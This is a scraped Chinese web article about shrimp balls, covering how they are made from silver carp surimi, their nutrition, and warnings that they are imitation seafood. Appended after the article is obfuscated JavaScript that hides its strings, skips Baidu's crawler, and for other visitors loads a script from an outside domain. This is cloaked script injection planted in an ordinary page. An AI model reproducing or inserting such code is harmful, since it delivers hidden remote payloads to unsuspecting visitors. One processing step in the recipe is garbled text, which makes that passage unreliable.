當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

蝦丸的營養(yǎng)價值-食用蝦丸的注意事項

2015-05-11 11:58:42  來源:360常識網(wǎng)   熱度:
導(dǎo)語:冬季是吃火鍋的旺季,蝦丸、魚丸等肉丸類制品成了消費者餐桌上的最愛。蝦丸類制品由于其獨特的風(fēng)味,食用既無魚腥味,又沒有骨刺,含有豐富

冬季是吃火鍋的旺季,蝦丸、魚丸等肉丸類制品成了消費者餐桌上的最愛。蝦丸類制品由于其獨特的風(fēng)味,食用既無魚腥味,又沒有骨刺,含有豐富的營養(yǎng)價值,肉質(zhì)易消化,老幼皆宜,備受青睞。

蝦丸的營養(yǎng)價值-食用蝦丸的注意事項
蝦丸的營養(yǎng)價值-食用蝦丸的注意事項

蝦丸的做法

本文以白鰱魚為主要原料,通過添加蝦肉、蝦汁、輔料及添加劑加工蝦丸。

生產(chǎn)材料

新鮮白鰱魚、新鮮基圍蝦、馬鈴薯淀粉、白砂糖、食鹽、復(fù)合磷酸鹽、大豆分離蛋白、生姜等。

儀器設(shè)備

魚肉采肉機、斬拌機、物性測試儀、刀具、灶具、不銹鋼盆等。

工藝流程

1:鰱魚魚糜的加工工藝:原料魚→洗魚→去頭、鱗、內(nèi)臟→采肉→漂洗→精濾→脫水→斬拌或擂潰→成品魚糜。

2:蝦丸的加工工藝:鰱魚魚糜→添加輔料→成形→煮制→冷卻→成品→包裝→凍藏。

操作要點

1:采用新鮮白鰱魚,魚體完整,骨肉緊密連接,腮色鮮紅,肌肉富有彈性,符合淡水魚的衛(wèi)生標(biāo)準(zhǔn)(GB2736-94),原料魚每條重250g以上。

2:將原料魚去頭尾,除鱗,掏凈內(nèi)臟后,沿其脊椎骨縱向剖成兩半,并清洗干凈。

3:將半片魚切面朝上,送人魚肉采肉機進行采肉(采肉機篩孔直徑5mm)。收集出口處的魚肉,并棄去分離出的魚皮、魚刺。

4::分3次對采下的魚肉進行漂洗后脫水?瞬降淖饔檬瞧?ザ嚶嗟難???黽佑閫璧陌錐炔⒊?ゲ糠中任丁?

5:分三步對魚肉進行斬拌,即空斬、鹽斬、昧斬。

6:將成品魚糜冷藏待用。

7:將新鮮基圍蝦洗凈后,剪去蝦須,去除蝦線。添加蝦重量10倍的清水,熬煮30min,在熬煮過程中,水一直處于微沸狀態(tài)。熬煮完畢后,棄去蝦殼,在濃縮汁中添加2.5%的食鹽。

8;將蝦肉、蝦汁按一定配比加入魚糜中混勻。

9:將與蝦肉、蝦汁混合的魚糜擠成圓形、丸狀,投人沸水中煮熟,魚丸上浮時撈出。

10:加熱后的制品投入冷水中冷卻,然后進行真空包裝。于-18℃冰箱凍藏。

蝦丸的營養(yǎng)價值

蝦丸類制品的營養(yǎng)極為豐富,不僅蛋白質(zhì)含量高;還含有豐富的鉀、碘、鎂、磷等礦物質(zhì)及維生素A、氨茶堿等成分,且其肉質(zhì)易消化,是老少皆宜的營養(yǎng)佳品,還是身體虛弱、病后需要調(diào)養(yǎng)的病人極好的食物。

食用蝦丸的注意事項

蝦丸蟹棒并不含真正的蝦肉蟹肉,那為何這些食品多年來都被作為海鮮產(chǎn)品上了餐桌呢?食品專家介紹,這些食物嚴格意義上叫做“仿生”食物,多半以低值魚加工而成的魚糜為主要原料,從形狀、風(fēng)味、營養(yǎng)上模仿天然海洋食品加工而成。仿生食品的營養(yǎng)價值是無法和原生海洋食品相比的,可以說差得很遠。因此提醒消費者認清,蝦丸、蟹棒、龍蝦丸等海鮮丸只是口味類似,并不是真正的那種海鮮。

專家表示,仿生食物其實沒有多少營養(yǎng)價值可言,由于加入的食品添加劑過多,能量很高,還有反式脂肪酸等物質(zhì),多吃無益,容易造成肥胖和器官的負擔(dān)。因此,小孩老人最好不要吃,健康人群也盡量少吃。

蝦丸的介紹

冬季是吃火鍋的旺季,蝦丸、魚丸等肉丸類制品成了消費者餐桌上的最愛。蝦丸類制品由于其獨特的風(fēng)味,食用既無魚腥味,又沒有骨刺,含有豐富的營養(yǎng)價值,肉質(zhì)易消化,老幼皆宜,備受青睞。

魚丸和蝦丸是生產(chǎn)量較大的一類魚糜制品,蝦丸以蝦、魚等為主要原料,加上一定量的輔料(如面粉、淀粉、魚糜、油脂、調(diào)味品、食鹽等),經(jīng)魚糜加工、蝦糜加工,主、輔料配比混和、成型煮制、真空包裝、微波滅菌、冷庫貯存等工藝制成的肉丸類制品。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}